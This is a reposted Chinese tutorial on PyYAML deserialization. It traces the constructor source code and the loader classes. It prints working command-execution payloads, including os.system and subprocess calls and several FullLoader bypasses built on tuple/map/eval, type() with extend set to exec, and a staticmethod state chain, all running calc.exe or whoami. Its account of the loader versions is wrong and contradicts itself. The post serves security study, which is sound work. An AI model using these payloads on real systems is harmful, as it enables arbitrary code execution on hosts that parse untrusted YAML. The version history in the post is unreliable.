PYYAML反序列化详解

news2025/2/14 5:22:03

前言

最近看了很多pyyaml反序列化的漏洞利用，但是对漏洞怎么来的，没有进行很详细的分析，所以今天刚好学习一下反序列化的原理

Yaml基本语法

  • 一个 .yml 文件中可以有多份配置文件，用 --- 隔开即可

  • 对大小写敏感

  • YAML 中的值，可使用 json 格式的数据

  • 使用缩进表示层级关系

  • 缩进时不允许使用 tab（\t），只允许使用空格。

  • 缩进的空格数目不重要，只要相同层级的元素左侧对齐即可。

  • !! 表示强制类型装换

  • 可以通过 & 来定义锚点，使用 * 来引用锚点。* 也可以和 << 配合，引用时会自动展开对象，类似 Python 的 **dict()

  • YAML 支持的数据结构有三种

  •     对象：键值对的集合

  •     列表：一组按次序排列的值

  •     标量（scalars）：原子值（不可再拆分），例如 数字、日期等等

  • 可以通过 !! 来进行类型转换

yaml版本<5.1

图片.png

!!python/object标签

    def construct_python_object_apply(self, suffix, node, newobj=False):
        # Format:
        #   !!python/object/apply       # (or !!python/object/new)
        #   args: [ ... arguments ... ]
        #   kwds: { ... keywords ... }
        #   state: ... state ...
        #   listitems: [ ... listitems ... ]
        #   dictitems: { ... dictitems ... }
        # or short format:
        #   !!python/object/apply [ ... arguments ... ]
        # The difference between !!python/object/apply and !!python/object/new
        # is how an object is created, check make_python_instance for details.
        if isinstance(node, SequenceNode):
            args = self.construct_sequence(node, deep=True)
            kwds = {}
            state = {}
            listitems = []
            dictitems = {}
        else:
            value = self.construct_mapping(node, deep=True)
            args = value.get('args', [])
            kwds = value.get('kwds', {})
            state = value.get('state', {})
            listitems = value.get('listitems', [])
            dictitems = value.get('dictitems', {})
        instance = self.make_python_instance(suffix, node, args, kwds, newobj)
        if state:
            self.set_python_instance_state(instance, state)
        if listitems:
            instance.extend(listitems)
        if dictitems:
            for key in dictitems:
                instance[key] = dictitems[key]
        return instance

    def construct_python_object_new(self, suffix, node):
        return self.construct_python_object_apply(suffix, node, newobj=True)

它定义了两个方法 construct_python_object_apply 和 construct_python_object_new，用于解析特定的 YAML 标签 (!!python/object/apply 和 !!python/object/new) 并创建相应的 Python 对象。这两个标签允许用户通过 YAML 文件来实例化 Python 类，并传递参数、关键字参数、状态等信息。

!!python/object/new标签

    def construct_python_object_new(self, suffix, node):
        return self.construct_python_object_apply(suffix, node, newobj=True)

!!python/object/apply标签

    def construct_python_object_apply(self, suffix, node, newobj=False):
        # Format:
        #   !!python/object/apply       # (or !!python/object/new)
        #   args: [ ... arguments ... ]
        #   kwds: { ... keywords ... }
        #   state: ... state ...
        #   listitems: [ ... listitems ... ]
        #   dictitems: { ... dictitems ... }
        # or short format:
        #   !!python/object/apply [ ... arguments ... ]
        # The difference between !!python/object/apply and !!python/object/new
        # is how an object is created, check make_python_instance for details.
        if isinstance(node, SequenceNode):
            args = self.construct_sequence(node, deep=True)
            kwds = {}
            state = {}
            listitems = []
            dictitems = {}
        else:
            value = self.construct_mapping(node, deep=True)
            args = value.get('args', [])
            kwds = value.get('kwds', {})
            state = value.get('state', {})
            listitems = value.get('listitems', [])
            dictitems = value.get('dictitems', {})
        instance = self.make_python_instance(suffix, node, args, kwds, newobj)
        if state:
            self.set_python_instance_state(instance, state)
        if listitems:
            instance.extend(listitems)
        if dictitems:
            for key in dictitems:
                instance[key] = dictitems[key]
        return instance

!!python/object/new 和 !!python/object/apply 的实现非常相似，主要区别在于传递给 make_python_instance 函数的 newobj 参数。这个参数决定了对象创建的方式：使用类构造函数 (new 方法) 或者直接调用类 (init 方法)。

make_python_instance 函数是 PyYAML 库中用来根据提供的信息创建 Python 对象的核心部分。它会解析标签中的模块和类名，并尝试导入相应的 Python 模块和类，然后根据提供的参数来实例化这些类。如果允许执行任意的 Python 类实例化，那么就可以导致执行任意命令或代码。

跟进make_python_instance()

图片.png
发现其中又调用了 find_python_name()，跟进一下

图片.png

检查名称是否为空:
    如果 name 为空，则抛出 ConstructorError，提示需要非空的名称。

解析模块名和对象名:
    如果 name 中包含点 (.)，则使用 rsplit('.', 1) 将其拆分为模块名和对象名。
    如果 name 中不包含点，则默认模块名为 builtins，对象名为 name。

导入模块:
    使用 __import__(module_name) 尝试导入指定的模块。
    如果导入失败（即抛出 ImportError），则抛出 ConstructorError，提供错误信息。

获取模块实例:
    通过 sys.modules[module_name] 获取已导入模块的实例。

检查模块中是否存在对象:
    使用 hasattr(module, object_name) 检查模块中是否存在指定的对象。
    如果不存在，则抛出 ConstructorError，提供错误信息。

返回对象:
    使用 getattr(module, object_name) 获取并返回模块中的对象。

漏洞poc：

# poc = '!!python/object/apply:subprocess.check_output [["calc.exe"]]'
# poc = '!!python/object/apply:os.popen ["calc.exe"]'
# poc = '!!python/object/apply:subprocess.run ["calc.exe"]'
# poc = '!!python/object/apply:subprocess.call ["calc.exe"]'
# poc = '!!python/object/apply:subprocess.Popen ["calc.exe"]'
# poc = '!!python/object/apply:os.system ["calc.exe"]'
 
# !!python/object/apply:os.system ["calc.exe"]
# !!python/object/new:os.system ["calc.exe"]
# !!python/object/new:subprocess.check_output [["calc.exe"]]
# !!python/object/apply:subprocess.check_output [["calc.exe"]]

分析反序列化是怎么进行的

首先会来到get_single_data 函数

def get_single_data(self):
    # Ensure that the stream contains a single document and construct it.
    node = self.get_single_node()
    if node is not None:
        return self.construct_document(node)
    return None

获取单个节点：self.get_single_node() 方法用于从输入流中获取一个单一的 YAML 节点。
检查节点：如果节点不为空，则调用 self.construct_document(node) 来构建文档。
返回结果：如果节点为空，则返回 None。

跟进construct_document 函数

def construct_document(self, node):
    data = self.construct_object(node)

    while self.state_generators:
        state_generators = self.state_generators
        self.state_generators = []
        for generator in state_generators:
            for dummy in generator:
                pass

    self.constructed_objects = {}
    self.recursive_objects = {}
    self.deep_construct = False

    return data

构建对象：self.construct_object(node) 方法用于根据给定的节点构建 Python 对象。
处理状态生成器：通过 while 循环处理状态生成器（state_generators），这些生成器通常用于处理复杂的 YAML 结构。
    保存当前状态生成器：将当前的状态生成器保存到 state_generators 变量中，并清空 self.state_generators。
    遍历生成器：遍历每个生成器并执行相应的操作。
重置构造对象：重置一些内部状态变量：
    self.constructed_objects：存储已构造的对象。
    self.recursive_objects：存储递归对象。
    self.deep_construct：控制是否进行深度构造。
返回数据：最终返回构建好的数据。

跟进construct_object 函数

def construct_object(self, node, deep=False):
    if node in self.constructed_objects:
        return self.constructed_objects[node]
    if deep:
        old_deep = self.deep_construct
        self.deep_construct = True
    if node in self.recursive_objects:
        raise ConstructorError(None, None,
                               "found unconstructable recursive node", node.start_mark)
    self.recursive_objects[node] = None
    constructor = None
    tag_suffix = None
    if node.tag in self.yaml_constructors:
        constructor = self.yaml_constructors[node.tag]
    else:
        for tag_prefix in self.yaml_multi_constructors:
            if node.tag.startswith(tag_prefix):
                tag_suffix = node.tag[len(tag_prefix):]
                constructor = self.yaml_multi_constructors[tag_prefix]
                break
        else:
            if None in self.yaml_multi_constructors:
                tag_suffix = node.tag
                constructor = self.yaml_multi_constructors[None]
            elif None in self.yaml_constructors:
                constructor = self.yaml_constructors[None]
            elif isinstance(node, ScalarNode):
                constructor = self.__class__.construct_scalar
            elif isinstance(node, SequenceNode):
                constructor = self.__class__.construct_sequence
            elif isinstance(node, MappingNode):
                constructor = self.__class__.construct_mapping
    if tag_suffix is None:
        data = constructor(self, node)
    else:
        data = constructor(self, tag_suffix, node)
    if isinstance(data, types.GeneratorType):
        generator = data
        data = next(generator)
        if self.deep_construct:
            for dummy in generator:
                pass
        else:
            self.state_generators.append(generator)
    self.constructed_objects[node] = data
    del self.recursive_objects[node]
    if deep:
        self.deep_construct = old_deep
    return data

分析construct_object 函数

        if node in self.constructed_objects:
            return self.constructed_objects[node]
        if deep:
            old_deep = self.deep_construct
            self.deep_construct = True
        if node in self.recursive_objects:
            raise ConstructorError(None, None,
                    "found unconstructable recursive node", node.start_mark)
        self.recursive_objects[node] = None
        constructor = None
        tag_suffix = None

这里进行了几个判断，跟一下可以看到是空的，所以会跳过，然后就进行了三次none赋值

图片.png

for tag_prefix in self.yaml_multi_constructors:
    if node.tag.startswith(tag_prefix):
        tag_suffix = node.tag[len(tag_prefix):]
        constructor = self.yaml_multi_constructors[tag_prefix]

这一行代码是 construct_object 方法中用来匹配多构造器（multi-constructors）的关键部分。它遍历 self.yaml_multi_constructors 字典中的所有前缀，并检查当前节点的标签（node.tag）是否以这些前缀之一开头。如果找到匹配的前缀，它会分割标签并选择相应的构造函数来处理节点

if node.tag.startswith(tag_prefix):

node.tag 是当前 YAML 节点的标签。
startswith(tag_prefix) 方法用于检查 node.tag 是否以 tag_prefix 开头。
如果匹配成功，则进入条件块继续执行。

tag_suffix = node.tag[len(tag_prefix):]

len(tag_prefix) 计算前缀的长度。
node.tag[len(tag_prefix):] 从标签中去除前缀部分，剩下的就是 tag_suffix。
tag_suffix 将被用作后续构造函数调用的参数之一。

constructor = self.yaml_multi_constructors[tag_prefix]

根据匹配到的前缀，从 self.yaml_multi_constructors 中选择对应的构造函数。
constructor 变量现在指向这个构造函数，它将在后续步骤中被调用来处理节点。

示例：

!!python/object/apply:os.popen ["calc.exe"]

在这个例子中：

node.tag 的值为 tag:yaml.org,2002:python/object/apply
self.yaml_multi_constructors 包含一个条目，其键为 tag:yaml.org,2002:python/object/apply。

当循环遍历 self.yaml_multi_constructors 时，tag_prefix 会与 node.tag 匹配成功，因为 node.tag 确实以 tag:yaml.org,2002:python/object/apply 开头。

tag_suffix 会被设置为空字符串，因为标签完全匹配了前缀。
constructor 会被设置为处理 python/object/apply 类型对象的构造函数。

图片.png
data = calc.exe 赋值给了 constructed_objects[node]

随后来到construct_python_object_apply 方法

图片.png
construct_python_object_apply 方法是用于处理 !!python/object/apply 标签的
data = ‘calc.exe’ 是最终赋值给 constructed_objects[node] 的结果，我们可以推测以下步骤：

构造参数：
    如果节点是一个序列，那么 args 将被设置为 ['calc.exe']。
    如果节点是一个映射，那么 args 可能是从映射中提取的。

创建实例：
    make_python_instance 方法将使用 args 来创建一个实例。在这个例子中，args 包含 'calc.exe'。
然后调用 make_python_instance 方法创建 os.popen 实例，并传递 ['calc.exe'] 作为参数。

最终，os.popen(“calc.exe”) 被执行，并且结果被存储到 constructed_objects[node] 中

接下来调用了 make_python_instance()

图片.png
再到find_python_name方法
图片.png
触发反序列化漏洞

图片.png

调用栈：

construct_python_object_apply, constructor.py:606
construct_object, constructor.py:88
construct_document, constructor.py:41
get_single_data, constructor.py:37
load, __init__.py:72

版本=5.1

图片.png
当版本变高后，之前的payload就执行不了了
图片.png
从报错也可以很清晰的看出反序列化的调用链

PyYAML 5.1 版本引入了一个重要的安全更改，它改变了默认的加载器行为。在 PyYAML 5.1 之前的版本中，默认的 yaml.load() 使用的是不安全的加载器 (FullLoader)，它可以解析所有 YAML 标签，包括那些可以执行任意 Python 代码的标签（如 !!python/object 和 !!python/name）。这虽然提供了强大的功能，但也带来了潜在的安全风险。

从 PyYAML 5.1 开始，默认的 yaml.load() 函数被更改为发出警告，并推荐使用安全的加载器来代替。为了提高安全性，如果你需要解析不受信任的输入，你应该使用 yaml.safe_load()，它只支持标准的 YAML 标签，而不会解析可能危险的 Python-specific 标签。如果你想保留旧的行为，你需要明确地指定 Loader=FullLoader 参数给 yaml.load() 函数。

因此，当你使用大于 5.1 的 PyYAML 版本时，如果你直接调用 yaml.load() 而没有指定 Loader 参数，并且你的 YAML 文件包含了复杂的 Python 对象或函数（例如 !!python/object/apply:os.popen），那么就会报错，因为默认情况下它现在使用的是安全加载器，该加载器无法解析这些标签。

当使用 yaml.load() 而不指定 Loader 参数时，默认行为现在是发出警告，并使用安全加载器。在安全模式下，PyYAML 对 Python 类实例的构造增加了额外的限制，即 make_python_instance 方法中的 if not (unsafe or isinstance(cls, type)) 检查。这意味着，在安全模式下，解析进来的 module.name 必须引用一个实际的类（例如内置类型如 int、str 等），而不是任意的对象或函数。

关于类加载器

BaseConstructor：仅加载最基本的YAML
SafeConstructor：安全加载Yaml语言的子集，建议用于加载不受信任的输入（safe_load)
FullConstructor：加载的模块必须位于 sys.modules 中（说明程序已经 import 过了才让加载）。这个是默认的加载器。
UnsafeConstructor（也称为Loader向后兼容性）：原始的Loader代码，可以通过不受信任的数据输入轻松利用（unsafe_load）
Constructor：等同于UnsafeConstructor

先来看在FullConstructor加载器

单纯引入模块：如果只是为了引入一个模块而不执行任何命令，那么这个模块必须存在于 sys.modules 字典中。这意味着只有已经加载到 Python 进程中的模块才能被引用。

引入并执行模块：如果不仅需要引入模块，还需要执行某些操作（例如构造对象），那么这个模块也必须在 sys.modules 中，并且加载进来的 module.name 必须是一个类。也就是说，YAML 文件中指定的对象必须是一个实际的类，而不是任意的函数或可调用对象。

也就是说如果一个类满足在 FullConstructor 上下文中的 sys.modules 里，同时它还有一个类，那么这个类可以执行命令
遍历一下看看 builtins模块 下的所有方法
这里挑选出map来触发函数执行，tuple来将内容输出
这是我们需要执行的

tuple(map(eval, ["__import__('os').system('calc')"]))

拼接一下

yaml.load("""
!!python/object/new:tuple
- !!python/object/new:map
  - !!python/name:eval
  - ["__import__('os').system('calc')"]
""")

如果我们使用set的话，没有回显，
图片.png
new 方法的工作原理

1.类的实例化：
    当你使用构造函数（如 tuple() 或 list()）创建一个新对象时，Python 首先调用该类的 __new__ 方法。
    __new__ 负责分配内存并返回一个新的空对象实例。

2.初始化：
    在 __new__ 返回新实例之后，Python 会调用 __init__ 方法来初始化这个实例。
    对于不可变类型（如 tuple），__init__ 通常不会做任何事情，因为在 __new__ 中已经完成了所有必要的初始化工作。

__new__方法 是一个在对象创建之前调用的静态方法，用于创建对象实例并返回该实例。它负责对象的创建过程，并接收类作为第一个参数（通常是cls）,这通过这个方法后，我们的源代码其实就变成了tuple.new(tuple, map(eval,[‘import(“os”).system(“whoami”)’]))``list.new(list, map(eval, [‘import(“os”).system(“whoami”)’]))

在python的底层原理中，list 和 tuple 它们在内存中的存储方式有所不同：

列表（list）是一种可变类型，它的元素可以被修改。在内存中，列表是由一个数组来表示的，这个数组存储了元素的引用（指针）。当向列表中添加或删除元素时，列表会动态调整数组的大小以适应变化。
元组（tuple）是一种不可变类型，它的元素不可被修改。在内存中，元组是由固定长度的数组来表示的，数组中存储了元素的值。由于元组不可变，因此在创建时就确定了元素的数量和值，不能添加、删除或修改元素。

由于元组是不可变的，因此在创建元组时就需要提供元素。创建元组的过程涉及调用元组类的 new 方法来创建实例，并将元素作为参数传递给 new 方法，然后再调用 init 方法进行初始化。因此，元组的元素是在 new 和 init 阶段都得到了传递和处理的。

列表的创建过程也类似，但由于列表是可变的，因此在创建列表时不需要提供元素。列表的 new 方法会创建一个空的列表实例，

这就是为什么list方法没有回显的原因。为了避免这个问题，我们可以使用不可变类型的（frozenset、bytes、tuple）。

extend

在construct_python_object_apply 中如果存在listitems就会调用extend方法

图片.png

exp = type("exp", (), {"extend": eval})
exp.extend("__import__('os').system('whoami')")

动态创建类：使用 type() 函数创建了一个名为 exp 的新类，该类有一个名为 extend 的属性，这个属性实际上是指向 Python 内置函数 eval 的引用。

执行系统命令：调用 exp.extend() 方法时，实际上是调用了 eval 函数，并传入一个字符串作为参数。这个字符串是一个表达式，当它被 eval 解析和执行时，会导入 os 模块并调用 system 函数来执行 'whoami' 命令。（这里把extend视为eval来用）

所以可以构造

import yaml

yaml.load("""
!!python/object/new:type
args:
  - exp
  - !!python/tuple []
  - {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"

""")

组合拳

import yaml

payload = """
- !!python/object/new:str
    args: []
    state: !!python/tuple
    - "__import__('os').system('whoami')"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec
"""
yaml.load(payload)

参考文章

https://forum.butian.net/share/2288
https://blog.csdn.net/snowlyzz/article/details/130536626

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/2297727.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

LeeCode题库第十八题

LeeCode题库第十八题

项目场景&#xff1a; 给你一个由 n 个整数组成的数组 nums &#xff0c;和一个目标值 target 。请你找出并返回满足下述全部条件且不重复的四元组 [nums[a], nums[b], nums[c], nums[d]] &#xff08;若两个四元组元素一一对应&#xff0c;则认为两个四元组重复&#xff09;&…
阅读更多...
Zookeeper 和 Redis 哪种更好？

Zookeeper 和 Redis 哪种更好？

目录 前言 &#xff1a; 什么是Zookeeper 和 Redis &#xff1f; 1. 核心定位与功能 2. 关键差异点 (1) 一致性模型 (2) 性能 (3) 数据容量 (4) 高可用性 3. 适用场景 使用 Zookeeper 的场景 使用 Redis 的场景 4. 替代方案 5. 如何选择&#xff1f; 6. 常见误区 7. 总结 前言…
阅读更多...
公然上线传销项目，Web3 的底线已经被无限突破

公然上线传销项目，Web3 的底线已经被无限突破

作者&#xff1a;Techub 热点速递 撰文&#xff1a;Yangz&#xff0c;Techub News 今天早些时候&#xff0c;OKX 将上线 PI 的消息在圈内引起轩然大波&#xff0c;对于上线被板上钉钉为传销盘子的「项目」 &#xff0c;Techub News 联系了 OKX 公关&#xff0c;但对方拒绝置评…
阅读更多...
C语言第18节：自定义类型——联合和枚举

C语言第18节：自定义类型——联合和枚举

1. 联合体 C语言中的联合体&#xff08;Union&#xff09;是一种数据结构&#xff0c;它允许在同一内存位置存储不同类型的数据。不同于结构体&#xff08;struct&#xff09;&#xff0c;结构体的成员各自占有独立的内存空间&#xff0c;而联合体的所有成员共享同一块内存区域…
阅读更多...
解锁网络安全：穿越数字世界的防护密码

解锁网络安全：穿越数字世界的防护密码

个人主页&#xff1a;java之路-CSDN博客(期待您的关注) 目录 网络安全&#xff1a;数字时代的基石 网络安全面面观 &#xff08;一&#xff09;定义与范畴 &#xff08;二&#xff09;发展历程 网络安全面临的威胁 &#xff08;一&#xff09;恶意软件肆虐 &#xff08;二…
阅读更多...
python爬虫解决无限debugger问题

python爬虫解决无限debugger问题

方法一 关闭定时任务 关闭断点执行代码打开断点 # 无限debugger产生原因 # 1. web开发者工具打开 # 2. js代码中有debugger # 3. js有定时处理[推荐] for(let i0;i<99999;i){window.clearInterval(i)}方法二 关闭breakpoint 方法三 修改JS代码 使用fiddler&#xff0c;抓…
阅读更多...
C# 两种方案实现调用 DeepSeek API

C# 两种方案实现调用 DeepSeek API

目录 序 开发运行环境 访问API的一个通用方法 原生官网实现 申请 API key 调用实现 调用示例 腾讯云知识引擎原子调用 申请 API key 调用示例 小结 序 DeepSeek&#xff08;深度求索&#xff09; 最近可谓火爆的一塌糊涂&#xff0c;具体的介绍这里不再赘述&#x…
阅读更多...
Linux下的进程切换与调度

Linux下的进程切换与调度

目录 1.进程的优先级 优先级是什么 Linux下优先级的具体做法 优先级的调整为什么要受限 2.Linux下的进程切换 3.Linux下进程的调度 1.进程的优先级 我们在使用计算机的时候&#xff0c;通常会启动多个程序&#xff0c;这些程序最后都会变成进程&#xff0c;但是我们的硬…
阅读更多...
anolis os 8.9安装jenkins

anolis os 8.9安装jenkins

一、系统版本 # cat /etc/anolis-release Anolis OS release 8.9 二、安装 # dnf install -y epel-release # wget -O /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat-stable/jenkins.repo # rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.…
阅读更多...
Java基础知识总结（四十八）--TCP传输、TCP客户端、TCP服务端

Java基础知识总结（四十八）--TCP传输、TCP客户端、TCP服务端

**TCP传输&#xff1a;**两个端点的建立连接后会有一个传输数据的通道&#xff0c;这通道称为流&#xff0c;而且是建立在网络基础上的流&#xff0c;称之为socket流。该流中既有读取&#xff0c;也有写入。 **tcp的两个端点&#xff1a;**一个是客户端&#xff0c;一个是服务…
阅读更多...
【python】http.server内置库构建临时文件服务

【python】http.server内置库构建临时文件服务

需要从linux开发机上下载一个文件到本地&#xff0c;约700M比较大&#xff0c;通过sz命令下载较慢且传输过程不稳定连续失败&#xff0c;后采用下面方式解决。 cd到一个目录下执行python -m http.server port&#xff0c;port为服务的端口号&#xff1a; 启动后浏览器中访问…
阅读更多...
网络安全ids是什么意思

网络安全ids是什么意思

1、 简述IPS和IDS的异同点&#xff1b; 入侵检测系统&#xff08;IDS&#xff09; IDS&#xff08;Intrusion Detection Systems&#xff0c;入侵检测系统&#xff09;&#xff0c;专业上讲就是依照一定的安全策略&#xff0c;对网络、系统、运行状况进行监视&#xff0c;尽可能…
阅读更多...
优选驾考小程序

优选驾考小程序

第2章　系统分析 2.1系统使用相关技术分析 2.1.1Java语言介绍 Java语言是一种分布式的简单的 开发语言&#xff0c;有很好的特征&#xff0c;在安全方面、性能方面等。非常适合在Internet环境中使用&#xff0c;也是目前企业级运用中最常用的一个编程语言&#xff0c;具有很大…
阅读更多...
42.水果销售系统(springbootvue的Java项目[含微信小程序])

42.水果销售系统(springbootvue的Java项目[含微信小程序])

目录 1.系统的受众说明 2.开发环境与技术 2.1 MYSQL数据库 2.2 Java语言 2.3 微信小程序技术 2.4 SpringBoot框架 2.5 B/S架构 2.6 Tomcat 介绍 2.7 HTML简介 2.8 MyEclipse开发工具 3.系统分析 3.1 可行性分析 3.1.1 技术可行性 3.1.2 经济可行性 3.1.3 操作…
阅读更多...
ffmpeg所有版本下载地址

ffmpeg所有版本下载地址

地址如下&#xff1a;Index of /releaseshttps://ffmpeg.org/releases/
阅读更多...
记PasteSpider部署工具的Windows.IIS版本开发过程之草稿-效果展示(4)

记PasteSpider部署工具的Windows.IIS版本开发过程之草稿-效果展示(4)

如果有人给你一串JSON数据，你需要编辑他，对于有开发基础的人来说，可能会好处理下，而对于没有开发基础的人来说，那就是灾难了！ 那么有没有一个东西，可以让这个编辑更顺畅呢？ 贴代码案例中的DynamicForm你值得拥有！本次展示作者在本机上操作IIS的示例，如下 IIS展示 先…
阅读更多...
3D文档控件Aspose.3D实用教程： 在 Java 中创建 FBX 文件并无缝将圆柱体转换为网格

3D文档控件Aspose.3D实用教程： 在 Java 中创建 FBX 文件并无缝将圆柱体转换为网格

概述 创建FBX文件并将圆柱体转换为网格是 3D 建模和动画中的基本任务。这些过程在游戏、电影和建筑等行业中至关重要。通过使用Aspose.3D for Java &#xff0c;开发人员可以高效地管理 3D 场景和对象。这个强大的 Java 3D API 简化了 3D 模型的创建和操作。它的易用性和灵活性…
阅读更多...
软考高级《系统架构设计师》知识点（一）

软考高级《系统架构设计师》知识点（一）

计算机硬件 校验码 码距&#xff1a;就单个编码A:00而言&#xff0c;其码距为1&#xff0c;因为其只需要改变一位就变成另一个编码。在两个编码中&#xff0c;从A码到B码转换所需要改变的位数称为码距&#xff0c;如A:00要转换为B:11&#xff0c;码距为2。一般来说&#xff0c;…
阅读更多...
HTML 学习记录

HTML 学习记录

HTML 学习记录 html是超文本标记语言&#xff0c;是一种标记语言 超文本&#xff1a;链接 标记&#xff1a;也叫标签&#xff0c;带尖括号的文本 标签语法 1.标签成对出现&#xff0c;中间包裹内容 2.<>里面放英文字母 3.结束标签比开始标签多一个 / 例如 <s…
阅读更多...
Mac之JDK安装

Mac之JDK安装

Mac之JDK安装 一.安装 jdk 打开终端输入命令:java -version 查看是否已安装 JDK Oracle 官方下载地址 根据自己Mac 系统安装 查看 Mac 系统&#xff0c;打开中断命令&#xff0c;输入: uname -a Compressed Archive 是压缩文档&#xff0c;下载的是一个 .tar.gz 压缩包 D…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023